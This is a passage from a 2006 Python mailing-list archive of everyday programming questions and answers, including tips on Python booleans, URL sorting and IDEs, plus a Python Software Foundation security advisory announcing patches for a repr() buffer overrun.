(pbuh), > >which was written by the very finger of God when the world was still in > >chaotic darkness. > > Did you actually analyze the line of code? Particularly WRT the way it > operates in different versions of Python? A comment on the "style" issue, before we get into the real WTF analysis: any function/method whose name begins with "has" or "is" returns an honest-to-goodness actual bool (or what passed for one in former times). IMHO, any comparison with [] being regarded as false and [0] being regarded as true is irrelevant, and writing "has_something() == False" or "has_something() is False" is utterly ludicrous. Now back to the analysis. Empirical evidence, back as far as 2.1: C:\junk>type isfalse.py import sys print sys.version try: False print "False is defined; type: %r; value: %r" \ % (type(False), False) except NameError: print "defining: False = 0; True = 1" False = 0 True = 1 adict = {1: 42} v = adict.has_key(2) print "'adict.has_key(2)' ->", v print "'adict.has_key(2) == False' ->", v == False print "'adict.has_key(2) is False' ->", v is False try: 1 in adict print "'key in adict' is available" except TypeError, e: print "Need to use 'adict.has_key(key)'" print "'key in adict' -> %s" % e C:\junk>for %1 in (5 4 3 2 1) do \python2%1\python isfalse.py C:\junk>\python25\python isfalse.py 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] False is defined; type: ; value: False 'adict.has_key(2)' -> False 'adict.has_key(2) == False' -> True 'adict.has_key(2) is False' -> True 'key in adict' is available C:\junk>\python24\python isfalse.py 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] False is defined; type: ; value: False 'adict.has_key(2)' -> False 'adict.has_key(2) == False' -> True 'adict.has_key(2) is False' -> True 'key in adict' is available C:\junk>\python23\python isfalse.py 2.3.5 (#62, Feb 8 2005, 16:23:02) [MSC v.1200 32 bit (Intel)] False is defined; type: ; value: False 'adict.has_key(2)' -> False 'adict.has_key(2) == False' -> True 'adict.has_key(2) is False' -> True 'key in adict' is available C:\junk>\python22\python isfalse.py 2.2.3 (#42, May 30 2003, 18:12:08) [MSC 32 bit (Intel)] False is defined; type: ; value: 0 'adict.has_key(2)' -> 0 'adict.has_key(2) == False' -> 1 'adict.has_key(2) is False' -> 0 'key in adict' is available C:\junk>\python21\python isfalse.py 2.1.3 (#35, Apr 8 2002, 17:47:50) [MSC 32 bit (Intel)] defining: False = 0; True = 1 'adict.has_key(2)' -> 0 'adict.has_key(2) == False' -> 1 'adict.has_key(2) is False' -> 1 Need to use 'adict.has_key(key)' 'key in adict' -> 'in' or 'not in' needs sequence right argument Analysis depends on what range of Python versions the author purported to be supporting: (1) back to 2.3: bad style, no damage, but why not use "key in dict"? (2) back to 2.2: bad style, *WRONG ANSWER*; why not use "key in dict"? (3) back to 2.1: as above for 2.2; would not work in 2.1 without the demonstrated band-aid. Note that the simple "if not adict.has_key(key):" construct works happily (if a trifle slowly) in all 5 versions. HTH, John From python.list at tim.thechases.com Mon Oct 2 11:45:23 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Mon, 02 Oct 2006 10:45:23 -0500 Subject: Sort by domain name? In-Reply-To: <7xmz8ekayz.fsf@ruckus.brouhaha.com> References: <7xmz8ekayz.fsf@ruckus.brouhaha.com> Message-ID: <45213413.8070203@tim.thechases.com> >> Here, domain name doesn't contain subdomain, or should I >> say, domain's part of 'www', mail, news and en should be >> excluded. > > It's a little more complicated, you have to treat co.uk about > the same way as .com, and similarly for some other countries > but not all. For example, subdomain.companyname.de versus > subdomain.companyname.com.au or subdomain.companyname.co.uk. > You end up needing a table or special code to say how to treat > various countries. In addition, you get very different results even on just "base" domain-name, such as "whitehouse" based on whether you use the ".gov" or ".com" variant of the TLD. Thus, I'm not sure there's any way to discern this example from the "yahoo.com" vs. "yahoo.co.uk" variant without doing a boatload of WHOIS queries, which in turn might be misleading anyways. A first-pass solution might look something like: ##############################################################>>> sites ['http://mail.google.com', 'http://reader.google.com', 'http://mail.yahoo.co.uk', 'http://google.com', 'http://mail.yahoo.com'] >>> sitebits = [site.lower().lstrip('http://').split('.') for site in sites] >>> for site in sitebits: site.reverse() ... >>> sorted(sitebits) [['com', 'google'], ['com', 'google', 'mail'], ['com', 'google', 'reader'], ['co m', 'yahoo', 'mail'], ['uk', 'co', 'yahoo', 'mail']] >>> results = ['http://' + ('.'.join(reversed(site))) for site in sorted(sitebits)] >>> results ['http://google.com', 'http://mail.google.com', 'http://reader.google.com', 'http://mail.yahoo.com', 'http://mail.yahoo.co.uk'] ############################################################## which can be wrapped up like this: ############################################################## >>> def sort_by_domain(sites): ... sitebits = [site.lower().lstrip('http://').split('.') for site in sites] ... for site in sitebits: site.reverse() ... return ['http://' + ('.'.join(reversed(site))) for site in sorted(sitebits)] ... >>> s = sites >>> sort_by_domain(sites) ['http://google.com', 'http://mail.google.com', 'http://reader.google.com', 'http://mail.yahoo.com', 'http://mail.yahoo.co.uk'] ############################################################## to give you a sorting function. It assumes http rather than having mixed url-types, such as ftp or mailto. They're easy enough to strip off as well, but putting them back on becomes a little more exercise. Just a few ideas, -tkc From hanumizzle at gmail.com Wed Oct 11 02:14:34 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 02:14:34 -0400 Subject: Difference between unindexable and unsubscriptable In-Reply-To: <87mz8375v9.fsf@benfinney.id.au> References: <87zmc376py.fsf@benfinney.id.au> <463ff4860610102246l35719e13m28ec4cbed41fa149@mail.gmail.com> <87mz8375v9.fsf@benfinney.id.au> Message-ID: <463ff4860610102314r64856517s82d0eb8e8c8a0e8f@mail.gmail.com> On 10/11/06, Ben Finney wrote: > > I'm trying to learn about style conventions in Python. How would use > > of getattr compare? > > I'm having trouble knowing what you need explained. > > You have available to you an interactive Python interpreter, and the > documentation. Can you show us some sessions in the interpreter that > you still find confusing after you read the relevant documentation? Don't worry, I got it now. (Ah Perl...how you warped my mind...) -- Theerasak From fredrik at pythonware.com Wed Oct 18 03:53:17 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 09:53:17 +0200 Subject: How to convert this list to string? In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> Message-ID: Jia Lu wrote: > Hi all > > I have a list like: > >>>> list > [1, 2, 3] >>>> list[1:] > [2, 3] > > I want to get a string "2 3" > >>>> str(list[1:]) > '[2, 3]' > > How can I do that ? http://effbot.org/zone/python-list.htm#printing From deets at nospam.web.de Tue Oct 17 10:49:12 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Tue, 17 Oct 2006 16:49:12 +0200 Subject: How to invoke ipython in Mac OS X? References: Message-ID: <4pk8r8FjagluU1@uni-berlin.de> Lou Pecora wrote: > I installed the SciPy superpackage and have pylab, matplotlib, scipy, > and numpy apparently running well. But I want to use matplotlib/pylab > interactively. The instructions suggest doing this in IPython. But > using ipython on the command line gives me an error. The system doesn't > know the command. Apparently there is no ipython executable in one of > the bin directories. I thought the superpackage would add that > automatically, but I guess not. > > Can anyone tell me how to get ipython running on my MacOSX 10.4 system? This is just a guess - but did you check your /Library/Frameworks/Python.framework/Versions/Current/bin (out of my head, but should be precise enough to get you there) directory for the ipython-binary? Usually, that will be the prefix of anything compiled/installed to framework-builds. So either you add that to your path, or create links to e.g. /usr/local/bin Diez From anthony at python.org Thu Oct 12 03:31:49 2006 From: anthony at python.org (Anthony Baxter) Date: Thu, 12 Oct 2006 17:31:49 +1000 Subject: SECURITY ADVISORY [PSF-2006-001] Buffer overrun in repr() for UCS-4 encoded unicode strings Message-ID: <200610121732.00587.anthony@python.org> SECURITY ADVISORY [PSF-2006-001] Buffer overrun in repr() for UCS-4 encoded unicode strings http://www.python.org/news/security/PSF-2006-001/ Advisory ID: PSF-2006-001 Issue Date: October 12, 2006 Product: Python Versions: 2.2, 2.3, 2.4 prior to 2.4.4, wide unicode (UCS-4) builds only CVE Names: CAN-2006-4980 Python is an interpreted, interactive, object-oriented programming language. It is often compared to Tcl, Perl, Scheme or Java. The Python development team has discovered a flaw in the repr() implementation of Unicode string objects which can lead to execution of arbitrary code due to an overflow in a buffer allocated with insufficient size. The flaw only manifests itself in Python builds configured to support UCS-4 Unicode strings (using the --enable-unicode=ucs4 configure flag). This is still not the default, which is why the vulnerability should not be present in most Python builds out there, especially not the builds for the Windows or Mac OS X platform provided by www.python.org. You can find out whether you are running a UCS-4 enabled build by looking at the sys.maxunicode attribute: it is 65535 in a UCS-2 build and 1114111 in a UCS-4 build. More information can be found in this posting to the python-dev mailing list: http://mail.python.org/pipermail/python-dev/2006-October/069260.html The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2006-4980 to this issue. Python 2.4.4 will be released from www.python.org next week containing a fix for this issue. A release candidate of 2.4.4 is already available containing the fix. Python 2.5 also already contains the fix and is not vulnerable. Patches for Python 2.2, 2.3 and 2.4 are also immediately available: * http://python.org/files/news/security/PSF-2006-001/patch-2.3.txt (Python 2.2, 2.3) * http://python.org/files/news/security/PSF-2006-001/patch-2.4.txt (Python 2.4) Acknowledgement: thanks to Benjamin C. Wiley Sittler for discovering this issue. The official URL for this security advisory is http://www.python.org/news/security/PSF-2006-001/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available URL: From kenneth.m.mcdonald at sbcglobal.net Thu Oct 26 01:06:44 2006 From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald) Date: Thu, 26 Oct 2006 00:06:44 -0500 Subject: What's the best IDE? In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: <45404264.4040705@sbcglobal.net> With the most recent edition of PyDev, I find Eclipse works quite well for me. Ken Hakusa at gmail.com wrote: > Recently I've had some problems with PythonWin when I switched to > Py2.5, tooka long hiatus, and came back. So now I'm without my god sent > helper, and I'm looking for a cool replacement, or some advocation to > reinstall/setup PyWin. But the Python website's list is irrefutably > long. It would take a month or two to test all of those products. So > I'm looking for experienced advocates. > > What's your favorite IDE? > What do you like about it? > It would be fine for a begginer, right? > > From steve at holdenweb.com Wed Oct 25 18:58:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 23:58:05 +0100 Subject: cleaner way to write this? In-Reply-To: <7xac3kb6do.fsf@ruckus.brouhaha.com> References: <7xac3kb6do.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > John Salerno writes: > >> if dlg.ShowModal() == wx.ID_OK: >> db_name = dlg.GetValue() >> dlg.Destroy() >> return db_name >> else: >> dlg.Destroy() >> return > > > I like > > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > else: > db_name = None > dlg.Destroy() > return db_name > > better than > > db_name = None > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > dlg.Destroy() > return db_name > > but I suppose it's a matter of preference. Of course, in 2.5 you can write db_name = dlg.GetValue() if dlg.ShowModal() == wx.ID_OK else None dlg.Destroy() return db_name but frankly I think this is horrible. I suspect we'd better get used to it, though ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From rpdooling at gmail.com Sat Oct 21 09:57:48 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 21 Oct 2006 06:57:48 -0700 Subject: curious paramstyle qmark behavior In-Reply-To: <1161430119.994468.145810@h48g2000cwc.googlegroups.com> References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> <1161375830.733818.99070@i42g2000cwa.googlegroups.com> <1161377996.049154.118650@b28g2000cwb.googlegroups.com> <1161430119.994468.145810@h48g2000cwc.googlegroups.com> Message-ID: <1161439068.615887.76140@i3g2000cwc.googlegroups.com> Jon Clements wrote: > However, only you know what > you really want to do, so it's up to you to evaluate which RDMS to go > for! That assumes a lot :) My needs are simple. I'm exploring. My only real db is a collection of 5,000 quotations, book passages etc. Flat file would probably even do it. But I like to learn. Converted to sqlite with no problem. But I'll try Postgres, just for fun. I guess I was drawn to MySQL only because it's part of a WordPress site/blog I operate, and the conversion tools from Access to MySQL were a snap. > In terms of data entry; if you're able to extend the idea of GUI a > little, why not use web forms? This never occurred to me. Good idea! I'll explore. > if your load on the data-entry/browsing side isn't too heavy, you can > use the 'development server' instead of installing a full-blown server > such as Apache (I'm not sure if IIS is supported). What's IIS? > Users need not have any specific software (well, apart from a web > browser), you can change the back-end any time, have authentication, > the database and users can be remote to the actual "GUI" etc.... > > Just some thoughts you can do with as you wish. Thank you, I shall explore. Rick From gagsl-py at yahoo.com.ar Fri Oct 20 16:24:07 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 20 Oct 2006 17:24:07 -0300 Subject: doctest and exposing internals. In-Reply-To: References: Message-ID: <7.0.1.0.0.20061020172157.05b7b080@yahoo.com.ar> At Friday 20/10/2006 16:29, Neil Cerutti wrote: >The example of correct usage it what's wrong with the docstring. > >There's no interface for checking if an event is queued in Glk, >so I resorted to exposing the internal state main.char_request in >the doc string. What are the alternatives? - what you have done - modify the interfase to allow that kind of checking - use a standard unit test -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From hanumizzle at gmail.com Sun Oct 8 16:17:59 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 8 Oct 2006 16:17:59 -0400 Subject: WSGI - How Does It Affect Me? In-Reply-To: References: Message-ID: <463ff4860610081317q245aa96o40d044063ef23c67@mail.gmail.com> On 10/8/06, Sybren Stuvel wrote: > > 3. Using IIS at all for that matter, does WSGI work on IIS, do any > > frameworks? > > Why would you want to use that monstrosity? Two words: "contractual obligation" -- Theerasak From moqtar at gmail.com Tue Oct 24 03:06:14 2006 From: moqtar at gmail.com (Kirt) Date: 24 Oct 2006 00:06:14 -0700 Subject: http call. Message-ID: <1161673574.597088.135220@h48g2000cwc.googlegroups.com> Hi! I have a php program (test.php) on a server. eg: http://abc.xyz.com/test.php I need my python scripts to make a http call to these program pass some data and get back a secret key from the php program.. Could anyone help me this, what will i need to make a http call to the php application? From __peter__ at web.de Thu Oct 12 13:04:51 2006 From: __peter__ at web.de (Peter Otten) Date: Thu, 12 Oct 2006 19:04:51 +0200 Subject: Pickling an instance of a class containing a dict doesn't work References: <4p6vk6Fh2jevU1@news.dfncis.de> <1160662300.159122.20520@m7g2000cwm.googlegroups.com> <1160662416.716488.19740@k70g2000cwa.googlegroups.com> <4p72coFhibirU1@news.dfncis.de> Message-ID: Marco Lierfeld wrote: > Jon Clements wrote: > >>> if you change the above to: >>> >>> class subproject: >>> def __init__(self): >>> configuration = { } >>> build_steps = [ ] >> >> Of course, I actually meant to write self.configuration and >> self.build_steps; d0h! > > Thank you Jon and Paul, you both were 100% right :) > > But I still don't understand, why the list was saved and the dict was > not... confusing ;) Chances are you have inadvertently created an /instance/ attribute build_steps which was then saved: s = subproject() # ... s.configuration["name"] = "my dinner" # modifies the class attribute s.build_steps = ["hunt", "kill", "cook"] # creates an instance attribute Peter From MonkeeSage at gmail.com Fri Oct 6 21:02:31 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 6 Oct 2006 18:02:31 -0700 Subject: Names changed to protect the guilty In-Reply-To: References: Message-ID: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote: > The following line of lightly munged code was found in a publicly > available Python library... Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh), which was written by the very finger of God when the world was still in chaotic darkness. But I guess I'm an atheist when it comes to PEP 8. If it is clearer to you to make the condition explicit ("blah not False"), rather than implicit ("not blah"), then use the former. I say write the code the way *you* (and your team if applicable) are best able to read, write and maintain it. Then when other people tell you that it isn't good style, or isn't "pythonic," just stab them in the face with soldering iron ala Chris Walken. :) Regards, Jordan From jstroud at mbi.ucla.edu Sat Oct 28 06:06:57 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sat, 28 Oct 2006 10:06:57 GMT Subject: Need help (Basic python)...what did I do wrong? In-Reply-To: References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Message-ID: <5ZF0h.22588$e66.5345@newssvr13.news.prodigy.com> Steven D'Aprano wrote: > On Sat, 28 Oct 2006 18:56:33 +1000, Ben Finney wrote: > >> "frankie_85" writes: >> >>> I just made a simple code which is part of my assignment >> You may want to review the restrictions your educational institution >> has on collusion. > [snip] >> Again, please make sure you work on these problems yourself; your >> assessment should not be testing your ability to ask on the internet >> for assistance. > > I don't think the restrictions against collusion are meant to prohibit > simple "what does this error message mean?" type questions. It would be > a funny sort of learning process that forced students to live in a > vacuum, never discussing their topic with anyone else, never asking the > most trivial questions. > > I think you are wrong. The new trend is toward absolutely no instruction at all and the students must guess the assignment. In this regard, I believe the OP is doing very well. Don't you think? James From irmen.NOSPAM at xs4all.nl Wed Oct 4 13:53:25 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Wed, 04 Oct 2006 19:53:25 +0200 Subject: Is there an alternative to os.walk? In-Reply-To: <1159983032.359224.83280@i3g2000cwc.googlegroups.com> References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com> Message-ID: <4523f51b$0$4528$e4fe514c@news.xs4all.nl> Bruce wrote: > Hi all, > I have a question about traversing file systems, and could use some > help. Because of directories with many files in them, os.walk appears > to be rather slow. Provide more info/code. I suspect it is not os.walk itself that is slow, but rather the code that processes its result... > I`m thinking there is a potential for speed-up since > I don`t need os.walk to report filenames of all the files in every > directory it visits. Is there some clever way to use os.walk or another > tool that would provide functionality like os.walk except for the > listing of the filenames? You may want to take a look at os.path.walk then. --Irmen From david at boddie.org.uk Sat Oct 7 20:25:47 2006 From: david at boddie.org.uk (David Boddie) Date: Sun, 08 Oct 2006 02:25:47 +0200 Subject: Kde Taskbar References: <4527a4ae@127.0.0.1> <9e952$4527b80c$54d1d767$27208@news.chello.no> <4527b9bc@127.0.0.1> Message-ID: On Saturday 07 October 2006 16:29, DarkBlue wrote: > David Boddie wrote: >> You need to activate the window associated with the application. [...] > My python app actually is a pythoncard app > which I hope will make things easier. If PythonCard or its underlying API has a function for activating windows, this _should_ do what you want. David From theller at python.net Fri Oct 6 15:06:10 2006 From: theller at python.net (Thomas Heller) Date: Fri, 06 Oct 2006 21:06:10 +0200 Subject: Ctypes and freeing memory In-Reply-To: <6f7b52d0610061140y493c4400u452af7f7758aa0e2@mail.gmail.com> References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com> <6f7b52d0610061140y493c4400u452af7f7758aa0e2@mail.gmail.com> Message-ID: Oliver Andrich schrieb: > On 10/6/06, Thomas Heller wrote: >> Chris Mellon has already pointed out a possible solution, but there is also a >> different way. You could use a subclass of c_char_p as the restype >> attribute: >> >> class String(c_char_p): >> def __del__(self): >> MagickRelinquishMemory(self) >> >> The difference is that you will receive an instance of this class >> when you call the MagickGetException funcion. To access the 'char *' >> value, you can access the .value attribute (which is inherited from >> c_char_p), and to free the memory call MagickRelinquishMemory >> in the __del__ method. > > These is an even better solution, cause it lets me drop one decorator, > I have been using at the moment, to handle these things. > > Thanks a lot. ctypes is so much fun to use. Lately I had to use JNI, > and well, compared to this experience I am now in heaven. :) Sadly, I > can't provide my team members an equal solution in the Java world, > cause one of them starts to hate me for assigning him on another JNI > job in our project. In the old ctypes CVS repository is a project started and sometimes worked on by Bradley Schatz - ctypes-java. I have never used it but was amazed by the idea (!). You could take a look at it or write to Bradley ;-). Thomas From richardjones at optushome.com.au Thu Oct 5 05:26:19 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Thu, 05 Oct 2006 19:26:19 +1000 Subject: Hands on Documentation for Python methods and Library References: Message-ID: <4524cfbb$0$5110$afc38c87@news.optusnet.com.au> Wijaya Edward wrote: > One can do the following with Perl > > $ perldoc -f chomp > $ perldoc -f function_name $ pydoc dir $ pydoc function_name or $ pydoc math $ pydoc module_name Richard From paolopantaleo at gmail.com Sat Oct 21 13:05:25 2006 From: paolopantaleo at gmail.com (Paolo Pantaleo) Date: Sat, 21 Oct 2006 19:05:25 +0200 Subject: Screen capture on Linux Message-ID: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com> Hi, I need to capture a screen snapshot in Linux. PIL has a module IageGrab, but in the free version it only works under Windows. Is there any package to capture the screen on Linux? Thnx PAolo From george.sakkis at gmail.com Mon Oct 16 01:31:24 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 15 Oct 2006 22:31:24 -0700 Subject: python's OOP question References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> Message-ID: <1160976684.218025.71050@m73g2000cwd.googlegroups.com> neoedmund wrote: > python use multiple inheritance. > but "inheritance" means you must inherite all methods from super type. > now i just need "some" methods from one type and "some" methods from > other types, > to build the new type. > Do you think this way is more flexible than tranditional inheritance? The following does the trick: from types import MethodType def addMethod(meth, obj): f = meth.im_func setattr(obj, f.__name__, MethodType(f,obj)) def test1(): addMethod(C2.m, C3) addMethod(C1.v, C3) o = C3() o.m() The same works as is on modifying individual instances, rather than their class: def test2(): o = C3() addMethod(C2.m, o) addMethod(C1.v, o) o.m() # raises AttributeError # C3().m() George From steve at holdenweb.com Sun Oct 1 09:41:09 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 14:41:09 +0100 Subject: AN Intorduction to Tkinter In-Reply-To: References: <1159303606.988830.54800@e3g2000cwe.googlegroups.com> <451A314F.3060703@isy.liu.se> <1159395485.824735.319090@b28g2000cwb.googlegroups.com> <1159419097.556600.160750@k70g2000cwa.googlegroups.com> <1159488825.144496.86610@c28g2000cwb.googlegroups.com> <1159672543.243321.18760@b28g2000cwb.googlegroups.com> Message-ID: Fredrik Lundh wrote: > flyingisfun1217 at gmail.com wrote: > > >>As far as I can tell, its not anything to do with your code. I think >>its something with tkinter modules. > > > as in ? > > you've posted five posts to this thread, but you still haven't provided > us with more clues than "I noticed they didn't work" and "I think it's > something with some module". don't you think it would be easier to help > you if you actually explained what you did, what you expected to happen, > and what happened instead ? > > > Can the effbot really have been taken in by a troll? Or does the troll not realise it's a troll? regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From ldo at geek-central.gen.new_zealand Fri Oct 6 06:31:26 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Fri, 06 Oct 2006 23:31:26 +1300 Subject: Makin search on the other site and getting data and writing in xml References: <1159178422.607126.214270@m7g2000cwm.googlegroups.com> <1159263438.026179.145120@b28g2000cwb.googlegroups.com> <1159314523.951825.174470@m7g2000cwm.googlegroups.com> <1159321413.386979.142130@m7g2000cwm.googlegroups.com> <1159375559.623732.223280@e3g2000cwe.googlegroups.com> Message-ID: In message <1159375559.623732.223280 at e3g2000cwe.googlegroups.com>, Paul Boddie wrote: > Various sites forbid wget and friends as a rule, understandably ... No, that is not understandable. From joshbloom at gmail.com Wed Oct 25 19:40:38 2006 From: joshbloom at gmail.com (Josh Bloom) Date: Wed, 25 Oct 2006 16:40:38 -0700 Subject: What's the best IDE? In-Reply-To: <453ff3a7$0$23866$426a74cc@news.free.fr> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> Message-ID: I'm not going to call it the 'best' ide as thats just silly. But if your developing on Windows pyscripter http://mmm-experts.com/Products.aspx?ProductId=4 is a great IDE. -Josh On 10/25/06, Bruno Desthuilliers wrote: > > Hakusa at gmail.com a ?crit : > > Recently I've had some problems with PythonWin when I switched to > > Py2.5, tooka long hiatus, and came back. So now I'm without my god sent > > helper, and I'm looking for a cool replacement, or some advocation to > > reinstall/setup PyWin. But the Python website's list is irrefutably > > long. It would take a month or two to test all of those products. So > > I'm looking for experienced advocates. > > > > What's your favorite IDE? > emacs > > > What do you like about it? > 1. It's so complicated and ugly that just using it is enough to makes > you look like a seasonned pro. > 2. It gives me a reason to engage in holy wars with vim users. > > > It would be fine for a begginer, right? > Certainly not. > > But you may want to look for other advices: > http://groups.google.com/groups?as_q=best+IDE&as_ugroup=comp.lang.python > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From __peter__ at web.de Fri Oct 6 04:18:13 2006 From: __peter__ at web.de (Peter Otten) Date: Fri, 06 Oct 2006 10:18:13 +0200 Subject: Access to static members from inside a method decorator? References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> <4524c9bb$0$23498$426a74cc@news.free.fr> <1160061499.579029.9130@k70g2000cwa.googlegroups.com> <1160104692.597151.143200@b28g2000cwb.googlegroups.com> Message-ID: glen.coates.bigworld at gmail.com wrote: > Thanks for all the help guys ... in almost every way using a metaclass > seems to be the right solution for what I'm trying to do here. I say > almost because there is one thing that is still confusing me: what is > the most elegant way to provide base-class implementations of methods > that are expected to be overriden by some of the derived classes (or in > the case of metaclasses, the classes that either declare __metaclass__ > = Exposed or are derived from such classes). > > Here's what I've just knocked out: [snip example] > The problem here is that the implementation of 'bar' inside > Exposed.__init__ overrides the implementation of bar() in Process, > which makes sense I guess seeing as Exposed.__init__() is called after > the class has been initialised. It's not a problem for > getExposedMethods() seeing as it's not overriden by any derived > classes. > > So what is the accepted way of doing this? Do I need two Exposed > classes, one is the metaclass that handles all the static mapping > stuff, and another provides base implementations of methods and is what > is actually derived from? E.g.: You define one base type with a custom metaclass and inherit from that. Your example then becomes: import sys class ExposedType( type ): def __init__( cls, *args, **kw ): # Track marked exposed methods cls.s_exposedMethods = [] for superclass in cls.__mro__: for name, meth in superclass.__dict__.items(): if hasattr( meth, "exposed" ): cls.s_exposedMethods.append( name ) class Exposed: __metaclass__ = ExposedType def getExposedMethods(self): return self.s_exposedMethods def bar(self): print "bar\n" @staticmethod def expose( f ): f.exposed = True return f class Process( Exposed): @Exposed.expose def foo( self ): pass def bar( self ): print "BAR" class BotProcess( Process ): @Exposed.expose def addBots( self ): pass p = Process() p.bar() This prints "BAR" as expected. Peter From bearophileHUGS at lycos.com Wed Oct 11 18:38:49 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 11 Oct 2006 15:38:49 -0700 Subject: dicts + amb In-Reply-To: <1160605414.714511.181280@k70g2000cwa.googlegroups.com> References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com> <1160605414.714511.181280@k70g2000cwa.googlegroups.com> Message-ID: <1160606328.990908.321470@m73g2000cwd.googlegroups.com> bearophileHUGS at lycos.com: > 456 ".itervalues()" lang:python > 415 ".iteritems()" lang:python > 403 ".iterkeys()" lang:python > 387 ".values()" lang:python > 385 ".clear()" lang:python > 256 ".update(" lang:python > 254 ".fromkeys(" lang:python > 224 ".has_key(" lang:python > 201 ".get(" lang:python > 200 ".items()" lang:python > 159 ".popitem()" lang:python > 113 "a.setdefault(" lang:python Sorry: 398 lang:python ".setdefault(" Results are probably too much approximated to be of any use... Bye, bearophile From python.sam at googlemail.com Sun Oct 8 14:41:06 2006 From: python.sam at googlemail.com (sam) Date: 8 Oct 2006 11:41:06 -0700 Subject: print time comparison: IDLE versus terminal on ultra 20 Message-ID: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> hi all, i continue to footle around on my spanking new ultra 20 (1.8GHz / Opteron Model 144), gradually trying to get to grips with python and unix both. the slow print time in IDLE had already struck me as rather odd. running programs with heavy print requirements from the terminal was a major discovery though, printing being so fast as to make everything appear at once except in the case of literally thousands of items to be printed. test case: import time time1 = time.time() for i in range(100): print 'go get \'em, son!' time2 = time.time() print time2-time1 in IDLE: 4.433 seconds in terminal: 0.001 seconds a difference of between 3 and 4 orders of magnitude is rather striking. anyone know what's going on here? is it a python, a unix thing, or something else? sam From radek.svarz at gmail.com Sun Oct 15 12:43:36 2006 From: radek.svarz at gmail.com (Radek) Date: 15 Oct 2006 09:43:36 -0700 Subject: run subprocess in separate window Message-ID: <1160930616.489486.184800@i3g2000cwc.googlegroups.com> Hi, I am trying to create GUI launcher of several applications using Python and Tkinter. Currently when using subprocess.Popen("mycommand") all output goes to the stdout of my launcher. For some command line applications I need to launch them so that their output goes into the separate "terminal" window. How can I make it? Thanks, Radek From utabintarbo at gmail.com Tue Oct 17 14:00:08 2006 From: utabintarbo at gmail.com (utabintarbo) Date: 17 Oct 2006 11:00:08 -0700 Subject: external file closed In-Reply-To: <1161107585.523458.252700@m73g2000cwd.googlegroups.com> References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com> <1161107585.523458.252700@m73g2000cwd.googlegroups.com> Message-ID: <1161108008.487005.109240@b28g2000cwb.googlegroups.com> Jerry wrote: > On Oct 17, 12:43 pm, "kilnhead" wrote: > > I am opening a file using os.start('myfile.pdf') from python. How can I > > know when the user has closed the file so I can delete it? Thanks. > > I assume you mean os.startfile. There is no way to do this directly. > os.startfile simply hands off the call to the OS and doesn't provide > anything to track anything after that. Since you won't know what > program handled the file association, you couldn't watch for an > instance of that to start up and detect when it exits. Even if you > could, it wouldn't be reliable as in the case of PDF's and Adobe > Acrobat Reader, the user could close the document, but not the > application, so your script would never delete the file in question. > > If anyone can think of a way to do this, it would be interesting to see > how it's done. > > -- > Jerry os.system('myfile.pdf') will give return code upon closing. This can also be done using the subprocess module with poll(). From bearophileHUGS at lycos.com Mon Oct 2 11:51:52 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 2 Oct 2006 08:51:52 -0700 Subject: Sort by domain name? In-Reply-To: References: <7xmz8ekayz.fsf@ruckus.brouhaha.com> 